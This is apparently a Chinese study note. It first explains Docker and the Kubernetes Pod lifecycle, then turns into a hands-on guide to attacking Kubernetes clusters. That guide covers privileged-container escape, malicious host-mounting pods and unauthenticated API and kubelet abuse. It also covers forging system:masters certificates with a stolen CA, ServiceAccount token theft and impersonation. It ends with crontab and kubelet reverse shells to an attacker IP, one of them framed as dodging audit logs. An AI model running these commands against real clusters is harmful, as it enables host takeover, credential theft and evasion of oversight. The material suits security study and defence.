Docker基础概念与核心价值

Docker是什么

Docker是一种轻量级容器技术,可将应用及其依赖环境打包成标准化单元

核心作用与架构

为什么需要k8s

当docker容器数量激增时,面临三大难题:

  • 部署困难:手工管理数百容器效率低下
  • 调度困难:资源分配不均导致部分节点过载
  • 运维难题:故障恢复、版本更新费时费力

K8s核心组件

graph TD
     Node节点架构
    Node[Node节点] --> Kubelet[Kubelet]
    Node --> Proxy[Kube-Proxy]
    Node --> Pod[Pod]

K8s Pod 完整生命周期

Pod 的生命周期是一个状态机流转的过程。从宏观上看,它经历了从被 API 接收、被调度、在节点上初始化、持续运行,直到最终被销毁的完整生命旅程。

请求提交与 API 拦截

这是 Pod 诞生的第一步。用户提交的“期望状态”必须经过 K8s 大脑(API Server)的层层把关,最终落盘存储。在这个阶段,Pod 的状态为 Pending(挂起)

sequenceDiagram
    participant User
    participant API_Server as API Server
    participant etcd

    User->>API_Server: 1. 提交 Pod YAML (kubectl apply)
    API_Server->>API_Server: 2. 认证 AuthN (Token/证书有效吗?)
    API_Server->>API_Server: 3. 授权 AuthZ (RBAC 允许创建吗?)
    API_Server->>API_Server: 4. 准入控制 Admission (校验/修改配置)
    API_Server->>etcd: 5. 存入 etcd,持久化 Pod 数据
    Note right of etcd: 此时 Pod 处于 Pending 状态

提交请求

一切始于用户通过命令行工具(如 kubectl)或代码(REST API)向系统发送了一份 YAML/JSON 格式的声明文件。这份文件描述了你想要的 Pod 长什么样(即“期望状态”)。API Server 接收到这个 HTTP POST 请求后,流水线正式启动。

认证 AuthN

安保系统的第一道关卡,核心是核实身份

  • 机制:API Server 会提取请求中携带的凭据信息进行校验。这些凭据通常是 TLS 客户端证书(如 kubeconfig 中的证书)、Bearer Token(如 ServiceAccount 的 Token)或 OIDC 凭证。

  • 结果:如果凭据无效、过期或缺失,系统直接将你拒之门外,返回 401 Unauthorized 错误。如果身份合法,系统会提取出你的“用户名”和“所属用户组”,放行进入下一关。

授权 AuthZ

确认了你是谁之后,第二道关卡要核实你的权限范围。在 K8s 中,最常用的授权机制是 RBAC(基于角色的访问控制)。

  • 机制:系统会查阅权限策略,判断“你这个用户/组”是否被允许在“目标 Namespace(命名空间)”内执行“Create(创建)” “Pod(资源类型)” 的操作。

  • 结果:假设你只是一个普通开发人员,可能只有在 dev 命名空间的权限。如果你试图把 Pod 建在 kube-system(系统核心命名空间)中,请求会被立刻拦截,返回 403 Forbidden 错误

准入控制

这是 K8s 中非常强大且高度可扩展的拦截器。即便你身份合法且有权限,你提交的 Pod 配置也必须符合集群的“内部规矩”。准入控制严格按照先后顺序分为两个子阶段:

  • Mutating(变更/变异阶段):这就像一个“热心的补漏员”。它允许 K8s 在保存数据前自动修改你的配置。例如,如果你没写容器的 CPU 限制,LimitRanger 插件会自动帮你补上默认值;服务网格(如 Istio)也是在这个阶段自动将 Sidecar 代理容器悄悄“注入”到你的 Pod 里的。

  • Validating(验证阶段):配置被修改完毕后,进入“铁面无私的审查阶段”。验证插件会进行最终的硬性安全和合规检查。例如,集群安全策略规定“禁止使用 root 权限运行容器”,或者“只允许从公司私有镜像库拉取镜像”。只要发现一项违规,一票否决,请求直接报错终止。

持久化存储

当请求成功闯过了“认证”、“授权”和两道“准入控制”的重重关卡后,就意味着 K8s 正式接纳了这个请求。

  • 落盘记录:API Server 会将这份经过验证和修改的最终 Pod 配置数据,序列化并写入到 etcd 中。etcd 是 K8s 集群唯一的数据大脑,存入这里意味着数据持久化成功

  • 当前状态:Pending(挂起)。存入 etcd 的那一刻,这个 Pod 在 K8s 的逻辑世界中就已经“合法诞生”了。但此时它还仅仅是一串配置数据,尚未被分配到任何具体的物理节点(Node)上去运行,因此 API Server 会将其初始状态标记为 Pending,等待后续调度器(Scheduler)接手。

调度器分配节点

此时 Pod 数据已存在于 etcd 中,但它还没有物理归宿。调度器(kube-scheduler)就像一个媒人,负责为 Pod 匹配最合适的节点(Node)。匹配完成前,Pod 依然是 Pending

graph TD
    PendingPod[未调度的 Pod] --> Filter[1. 预选阶段 / Filter]
    Filter -- 剔除不满足条件的节点 --> Score[2. 优选阶段 / Score]
    Score -- 给剩余节点打分 --> Bind[3. 绑定阶段 / Bind]
    Bind -- "更新 etcd 中 Pod 的 NodeName 字段" --> NodeAssigned(分配成功)

调度策略:

  1. 预选:一票否决制。检查节点资源(CPU/内存)是否足够?端口是否冲突?节点是否带有 Pod 无法容忍的污点(Taints)?

  2. 优选:打分制。基于算法对通过预选的节点评分,例如资源剩余越多的节点得分越高,镜像已经存在于本地的节点得分更高等。

  3. 绑定:选择得分最高的 Node,将 Pod 与该 Node 绑定。

节点接管与初始化

被调度后,目标节点上的大管家 Kubelet 会通过监听 API Server 发现这个属于自己的 Pod,并开始在节点上真正构建运行环境。

graph LR
    Kubelet[Kubelet 监听到绑定事件] --> Env[1. 准备环境]
    Env --> Net[CNI 分配 IP & CSI 挂载存储]
    Net --> InitContainer[2. 执行 Init 容器]
    
    InitContainer -- 失败 --> Restart(根据策略重启)
    InitContainer -- 成功/串行执行完毕 --> Ready(准备启动主容器)

节点操作核心:

  1. 基础环境构建:调用容器运行时(Docker/containerd)拉取业务镜像;调用 CNI 插件为 Pod 分配独占的 IP 地址;挂载声明的 Volume 数据卷。

  2. Init 容器 (Init Containers):在主容器启动前运行的“先遣队”。

    • 它们串行执行,必须按顺序一个接一个成功退出。

    • 作用:通常用于环境初始化(如等待数据库启动、拉取外部配置、修改目录权限等)。如果 Init 容器失败,Kubelet 会不断重启该 Pod,直到 Init 容器成功为止。

主容器运行与持续探测

所有 Init 容器成功退出后,Kubelet 会并行启动 Pod 内的主容器。此时 Pod 的状态正式转为 Running(运行中)。为了确保应用健康,Kubelet 会持续进行“健康体检”。

graph TD
    Start([主容器启动]) --> PostStart[PostStart Hook 钩子]
    Start --> Running[应用运行]
    
    Running --> Probes{Kubelet 执行健康探针}
    Probes -- 1. Startup Probe --> Protect[保护慢启动应用,成功前禁用其他探针]
    Probes -- 2. Liveness Probe --> Alive{存活探针: 死了吗?}
    Alive -- 失败 --> Kill[重启容器]
    
    Probes -- 3. Readiness Probe --> Ready{就绪探针: 能接客吗?}
    Ready -- 失败 --> RemoveIP[从 Service Endpoints 摘除流量]
    Ready -- 成功 --> AddIP[加入 Service,正式对外暴露提供访问]

生命周期探针(决定了服务暴露的安全性):

  • 存活探针 (Liveness Probe):检测应用是否“假死”或死锁。如果探测失败,Kubelet 会直接杀掉容器并重启它。

  • 就绪探针 (Readiness Probe):检测应用是否准备好处理用户请求。(这是替代你原笔记第五阶段的关键)。只有就绪探针成功,K8s 才会把该 Pod 的 IP 加入到 Service 路由中;一旦失败,会立刻切断发往该 Pod 的流量,防止用户访问到报错的页面。

终止与回收

生命周期的终点。无论是用户主动执行 kubectl delete pod,还是因为节点资源不足被强制驱逐(Eviction),Pod 都会经历一个优雅退出的过程,此时状态变为 Terminating

sequenceDiagram
    participant API_Server as API Server
    participant Service
    participant Kubelet
    participant Pod

    API_Server->>API_Server: 1. 标记状态为 Terminating
    API_Server->>Service: 2. 从 Endpoints 移除,停止新流量转发
    API_Server->>Kubelet: 3. 通知节点销毁 Pod
    
    Kubelet->>Pod: 4. 执行 PreStop Hook (清理数据/保存状态)
    Kubelet->>Pod: 5. 发送 SIGTERM 信号给主进程
    Note right of Pod: 默认等待 30 秒 (宽限期)
    
    alt 进程在 30 秒内未退出
        Kubelet->>Pod: 6. 发送 SIGKILL 信号强制斩杀
    end
    Kubelet->>API_Server: 汇报销毁完成,清理 etcd 记录

退出机制:

  • 流量切断与进程关闭是异步同时进行的。

  • PreStop Hook:在容器收到终止信号前执行的脚本,常用于保存状态、向注册中心注销自己等。

  • 宽限期 (Grace Period):默认 30 秒。K8s 给应用程序处理未完成请求的时间,超时后无论如何都会被 SIGKILL 强制清理。最终 Pod 彻底从集群中消失。

Docker逃逸

条件:需要privileged权限

docker run -it --privileged --name test-nginx -p 8080:80 nginx:1.21 bash

相对于k8s来说,相当于:

apiVersion: v1
kind: Pod
metadata:
  name: cve-2016-4437-web
spec:
  containers:
  - image: vulhub/shiro:1.2.4
    name: cve-2016-4437-web
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /mnt
      name: host-mnt
  volumes:
  - name: host-mnt
    hostPath:
      path: /
      type: Directory

在容器内挂载宿主机的根目录文件

使用以下命令挂载

mkdir /host
mount -t ext4 /dev/vda1 /host

访问宿主机文件

挂载完成之后,可以通过/host目录访问宿主机的文件系统

ls /host
chroot /host /bin/bash

后渗透

查看是否为特权模式

cat /proc/self/status | grep -qi '0000003fffffffff' && echo 'Is privileged mode'|| echo 'Not privileged mode'

查看容器是否具有高权限token

cat /var/run/secrets/kubernetes.io/serviceaccount/token

查看自身票据

cat /etc/kubernetes/kubelet.conf

越权方法

K8S配置泄露利用

Kubernetes配置泄露利用指的是攻击者通过特定方式获取K8s master节点的配置文件,然后可以使用来利用该配置文件以操作整个集,从而获得集群的敏感信息和凭据,接管所有容器,执行恶意操作,如窃取数据、提升权限或部署恶意容器。如果拥有K8S master节点的控制权(可以控制K8S 节点,但是没有Shell),可以尝试给所有node部署恶意容,从而接管各节点的主机Shell。

一般情况下Kubernetes的配置文件(kubeconfig)通常位于用户主目录下的 .kube 目录中,文件名为 config。具体路径为:/root/.kube/config

利用K8S config文件,获取当前集群的所有节点、服务、命名空间

kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get node
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get svc
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get ns

利用K8S配置文件得到了K8S集群的操作权限后,然后就可以往集群内部署恶意容器了,思路就是:在部署恶意容器的时候把K8S节点宿主机的根目录挂载到容器内部,从而获取到宿主机的Shell。

需要注意的是:K8S的集群配置文件里面的server ip一般为 server: https://127.0.0.1:6443 ,在利用的时候需要把 127.0.0.1 改为当前网络环境可以访问到的地址

部署恶意容器是一定需要一个镜像的而一般来说K8S集群会有一些组成K8S用的一些容器镜像,是系统自带的,可以利用系统自带的镜像来部署恶意容器。

手动获取镜像

利用K8S配置文件,查看当前K8S节点中所有的命名空间

kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get ns

利用K8S配置文件,查看 kube-system 命名空间中所有的容器

kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods -n kube-system

利用K8S配置文件,查看 kube-system 命名空间中的其中一个容器的详细信息(包含所用到的镜像)

  • 找到 Image 键,获取到镜像信息
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true describe pods -n kube-system svclb-traefik-68a853cb-n9hdg

命令一键获取

kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c

获取到当前节点存在的镜像后,就要开始部署恶意POD了。需要注意的是:有些系统镜像是进入不了Shell的,所以不行的话就要换个镜像。

将下面的容器部署配置保存为 shell-pod.yaml ,已经将 image 设置为一个常用的基础镜像,你也可以替换为系统内已有的镜像。这个配置文件创建了一个名为 shell-pod 的 Pod,包含一个名为 shell-container 的容器。使用 hostPath 卷将宿主机的根目录挂载到容器内的 /host 目录。

apiVersion: v1
kind: Pod
metadata:
  name: shell-pod
  namespace: default
spec:
  containers:
  - name: shell-container
    image: nginx:1.14.2  # 可以替换为你需要的镜像
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /

然后使用命令部署这个恶意POD:kubectl --kubeconfig <k8s集群配置文件> apply -f shell-pod.yaml

创建成功后,使用命令进入容器,获取到交互式Shell。并且可以发现宿主机的根目录已经成功挂载到POD中的/host目录。

kubectl --kubeconfig <k8s集群配置文件> exec -it shell-pod -- sh

使用 chroot /host 命令将ROOT工作目录切换到宿主机的根目录,相当于接管了宿主机的Shell。可以发现已经成功接管了宿主机。

K8S API未授权利用

Kubernetes 的 API 接口用于管理和操作集群资源,允许用户和自动化工具执行创建、更新、删除等操作。如果未授权访问该 API,攻击者可能会获取集群的敏感信息、操控资源,甚至完全控制集群,从而导致数据泄露、服务中断或系统被恶意利用。Kubernetes 的 API 接口与Kubernetes 配置文件泄露同样致命,可以对集群进行危险操作!

在 Kubernetes 中,6443 和 8080 这两个端口通常有不同的用途:8080 端口是 Kubernetes API 服务器的默认 HTTP 端口(非加密)。虽然有些集群可能会配置此端口,但在生产环境中,使用 HTTPS(6443 端口)是更安全的选择。

8080端口未授权访问

在低版本的k8s中存在8080不进行鉴权的操作,可以未授权访问api接口信息

访问地址的8080端口回显是这样的时候,就可以尝试这个漏洞

一般使用kubectl工具来进行未授权操作:https://kubernetes.io/zh-cn/docs/tasks/tools/

获取node节点

kubectl.exe -s 192.168.0.25:8080 get nodes

获取pod

kubectl.exe -s 192.168.0.25:8080 get pods

如果上述操作都能回显正常的话,就可以进行下一步的操作,就可以通过kubectl创建一个pods

创建pod的过程,需要在攻击机器上使用yaml文件

apiVersion: v1
kind: Pod
metadata:
  name: shell-pod
  namespace: default
spec:
  containers:
  - name: shell-container
    image: nginx:1.14.2  # 可以替换为你需要的镜像
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /

在这一步我们需要注意的是三个值

  • name此为我们后创建容器的名称
  • image为我们选择的镜像
  • mountpath为我们宿主机挂载到容器的位置

将上面的保存在本地机器上,使用命令创建容器

kubectl -s [ip]:8080 create -f shell-pod.yaml

6443端口未授权访问

6443端口在默认条件下是开启的但是会有权限校验,

一般在配置不当的时候,将system:anonymous”用户绑定到”cluster-admin”用户组

这个时候访问的时候就会出现未授权访问接口的情况

利用方法

写入文件

/api/v1/namespaces/default/pods/这个post

cat <<EOF > pod.json
{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "shell-pod",
    "namespace": "default"
  },
  "spec": {
    "containers": [
      {
        "name": "shell-container",
        "image": "nginx:1.14.2",
        "volumeMounts": [
          {
            "name": "host",
            "mountPath": "/host"
          }
        ]
      }
    ],
    "volumes": [
      {
        "name": "host",
        "hostPath": {
          "path": "/",
          "type": "Directory"
        }
      }
    ]
  }
}
EOF

post成功就会创建一个名字叫做shell-pod的pods,然后就是查看这个pod创建成功没有

kubectl --insecure-skip-tls-verify -s ip:6443 get pods
使用 curl 发送 POST 请求

根据你当前所处的网络环境和权限情况,选择对应的发送方式:

场景 A:直接访问(如未授权访问漏洞或本地测试环境)

如果 API Server 存在未授权访问,或者你在配置了免密的环境中,直接指定目标 IP 和端口即可:

curl -X POST \
     -H "Content-Type: application/json" \
     -d @pod.json \
     "http://<K8S_API_IP>:<PORT>/api/v1/namespaces/default/pods"

场景 B:在集群内部(In-Cluster)通过 ServiceAccount 发包

如果是获取了某个 Pod 的 Shell,想要利用其挂载的凭证去请求 API Server 创建特权 Pod,需要带上 Token 并指定集群内部的地址:

# 1. 提取当前 Pod 的 ServiceAccount Token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# 2. 发送请求 (-k 参数用于忽略证书校验,这在测试中很常用)
curl -k -X POST \
     -H "Authorization: Bearer $TOKEN" \
     -H "Content-Type: application/json" \
     -d @pod.json \
     "[https://kubernetes.default.svc/api/v1/namespaces/default/pods](https://kubernetes.default.svc/api/v1/namespaces/default/pods)"

10250/10255端口未授权访问

在配置文件中authentication配置不当

这里直接使用/runningpods获取namespace

curl -XPOST -k "https://ip:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"

授权之后这里会直接回显。

这个能证明我们能执行命令,但是一直使用这个非常的麻烦

工具推荐

https://github.com/cyberark/kubeletctl

使用:

  1. kubeletctl scan —cidr 192.168.159.0/24,扫描特定的子网,查看是否开放特定的端口

  2. kubeletctl pods —server 192.168.159.236,罗列可用的所有的pods

  3. kubeletctl scan rce —server ip,使用scan命令扫描容器里面可以命令执行的pods,然后通过

    • kubeletctl exec “hostname” -p PDODS -c CONTAINERS -n NAMESPACE—server IP

    • kubeletctl exec sh -p PDODS -c CONTAINERS -n NAMESPACE—server IP

  4. kubeletctl run “uname -a” —all-pods —server IP ,这个直接使用run命令在所有pods里面执行命令

  5. kubeletvtl scan token —server IP 这个直接搜索云的token

k8s身份伪造

利用泄露的 CA 签发高权限客户端证书

在实战或打靶中,API Server 的根证书和私钥(ca.crtca.key,通常位于 Master 节点的 /etc/kubernetes/pki/ 目录下)是非常核心的机密。获取它们通常依赖于前置漏洞的利用:

特权容器/挂载逃逸:攻击者首先通过某个 Web 漏洞(如 RCE)进入了一个普通 Pod,发现该 Pod 挂载了宿主机的根目录(hostPath: /),或者具有高特权(Privileged)。攻击者借此逃逸到 Master 节点的宿主机操作系统中,直接读取文件。

原理简述: Kubernetes API Server 在通过 X.509 客户端证书进行认证时,会提取证书的 Subject 信息:

  • CN (Common Name) 被识别为用户名

  • O (Organization) 被识别为用户组

Kubernetes 默认内置了一个拥有最高权限(cluster-admin)的组叫 system:masters。只要我们在生成证书请求(CSR)时,把组名指定为 system:masters,再用偷来的集群 CA 把证书签发出来,我们就获得了一把拥有集群完整控制权的“万能钥匙”。


生成私钥并构造 CSR (证书签名请求)

核心在于 -subj 参数,直接将用户绑定到最高权限组。

# 生成 2048 位的 RSA 私钥
openssl genrsa -out rivulet-admin.key 2048

# 生成 CSR,关键是将 Organization (O) 设置为 system:masters
openssl req -new -key rivulet-admin.key -out rivulet-admin.csr \
    -subj '/CN=rivulet-admin/O=system:masters'

使用集群 CA 签发伪造证书

假设此时你已经将目标环境的 /etc/kubernetes/pki/ca.crt/etc/kubernetes/pki/ca.key 下载到了本地(在你的 WP 中,它们被重命名为了 etc_kubernetes_pki_ca.crt 等)。

# 使用集群 CA 签发客户端证书,有效期设为 365 天
openssl x509 -req \
    -in rivulet-admin.csr \
    -CA etc_kubernetes_pki_ca.crt \
    -CAkey etc_kubernetes_pki_ca.key \
    -CAcreateserial \
    -out rivulet-admin.crt \
    -days 365

验证 API 访问权限

拿着新生成的证书去请求 API Server,看看能不能列出 namespace 下的 pod。

curl -sS -k \
    --cert rivulet-admin.crt \
    --key rivulet-admin.key \
    --cacert etc_kubernetes_pki_ca.crt \
    "[https://39.101.1.38:6443/api/v1/namespaces](https://39.101.1.38:6443/api/v1/namespaces)" | python3 -m json.tool | head

结合 JSON 发起恶意 POST 请求

把前面这套认证机制,跟我们写好的 pod.json 结合起来,最终的终极利用命令就是这样:

YAML

cat <<EOF > pod.json
{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {
    "name": "shell-pod",
    "namespace": "default"
  },
  "spec": {
    "containers": [
      {
        "name": "shell-container",
        "image": "nginx:1.14.2",
        "volumeMounts": [
          {
            "name": "host",
            "mountPath": "/host"
          }
        ]
      }
    ],
    "volumes": [
      {
        "name": "host",
        "hostPath": {
          "path": "/",
          "type": "Directory"
        }
      }
    ]
  }
}
EOF
# 使用伪造的 system:masters 证书,POST 我们精心构造的 pod.json,实现提权/挂载
curl -sS -k -X POST \
    --cert rivulet-admin.crt \
    --key rivulet-admin.key \
    --cacert etc_kubernetes_pki_ca.crt \
    -H "Content-Type: application/json" \
    -d @pod.json \
    "[https://39.101.1.38:6443/api/v1/namespaces/default/pods](https://39.101.1.38:6443/api/v1/namespaces/default/pods)"

ServiceAccount Token 窃取与滥用 (In-Cluster 伪造)

利用集群内部署的 ServiceAccount (SA) 凭据也是最常见的身份伪造方式。

攻击原理

Kubernetes 默认会自动将 ServiceAccount 的凭据(Token)挂载到 Pod 的文件系统中。如果该 Pod 被绑定了高权限的 Role/ClusterRole(例如绑定了 cluster-admin 或者具有创建 Pod、执行 Exec 权限的角色),攻击者只要拿到这个 Token,就可以伪造该 SA 的身份与 API Server 交互。

Token 默认挂载路径:

/var/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

获取途径:

  • Pod 内 RCE:直接执行 cat 命令读取。
  • SSRF (服务器端请求伪造):如果 Pod 内应用存在 SSRF 漏洞,且支持 file:// 协议,可以直接读取本地文件。
  • 云厂商元数据 API (Metadata SSRF):在云原生环境中,通过 SSRF 访问云厂商的 metadata 服务(如 AWS 的 169.254.169.254)窃取节点绑定的高权限 IAM Token,进而在 K8s 层面提权。

利用方式

拿到 Token 后,在 HTTP 请求头中带上 Authorization: Bearer <TOKEN> 即可伪造身份:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://<K8S_API_IP>:6443/api/v1/namespaces/default/pods

RBAC 权限配置不当:Impersonate (用户模拟) 滥用

这是一种基于 K8s 原生机制的身份伪造攻击,属于 RBAC 错误配置导致的提权。

1. 攻击原理: Kubernetes API 支持一种名为“用户模拟 (Impersonation)”的功能。如果一个低权限的 ServiceAccount 被错误地授予了针对 usersgroupsimpersonate (模拟) 动词权限,它就可以在发送请求时,声明自己是另一个更高权限的用户(例如集群管理员)。

2. 利用条件: 攻击者已经掌握了一个具有 impersonate 权限的低权限 Token。

3. 利用方式: 在通过 curlkubectl 请求 API Server 时,加上特定的 HTTP Header (Impersonate-UserImpersonate-Group):

# 使用低权限 token,但声称自己是高权限的 system:admin
curl -k -H "Authorization: Bearer <LOW_PRIVILEGE_TOKEN>" \
     -H "Impersonate-User: system:admin" \
     -H "Impersonate-Group: system:masters" \
     https://<K8S_API_IP>:6443/api/v1/namespaces

或者使用 kubectl:

kubectl --token=<LOW_PRIVILEGE_TOKEN> --as=system:admin --as-group=system:masters get pods -A

执行恶意代码

一般情况下我们会发送建立恶意pod,Pod 成功运行并挂载了宿主机根目录后,我们需要在其中执行命令(例如反弹 Shell)。根据当前掌握的条件,有两种执行方式:

方式一:通过 API Server 代理执行 (常规做法)

既然我们已经控制了 6443 接口(或拥有最高权限证书),最简单的方法是直接使用 kubectl 的 exec 功能,API Server 会自动帮我们把指令下发到对应的 Node:

kubectl --insecure-skip-tls-verify -s ip:6443/8080 --namespace=default exec -it shell-pod bash
# 进入后写入计划任务反弹 shell
echo -e "* * * * * root bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1\n" >> /host/etc/crontab

方式二:直连 Kubelet 10250 端口执行 (隐蔽/绕过做法)

如果为了绕过 API Server 的审计日志,或者 API Server 屏蔽了 exec 接口,我们可以直接向 Pod 所在宿主机的 Kubelet (10250端口) 发送请求。

注意:使用此方法前,需要先通过其他 API 获取该 Pod 被调度到的具体 Node IP (例如 172.17.0.1)。

# 直接调用 Node 节点 Kubelet 的未授权或已授权接口执行命令
curl -k -sS -X POST \
    --data-urlencode "cmd=chroot /host bash -c 'bash -i >& /dev/tcp/你的攻击机IP/4444 0>&1'" \
    "https://<Node_IP>:10250/run/default/shell-pod/shell-container"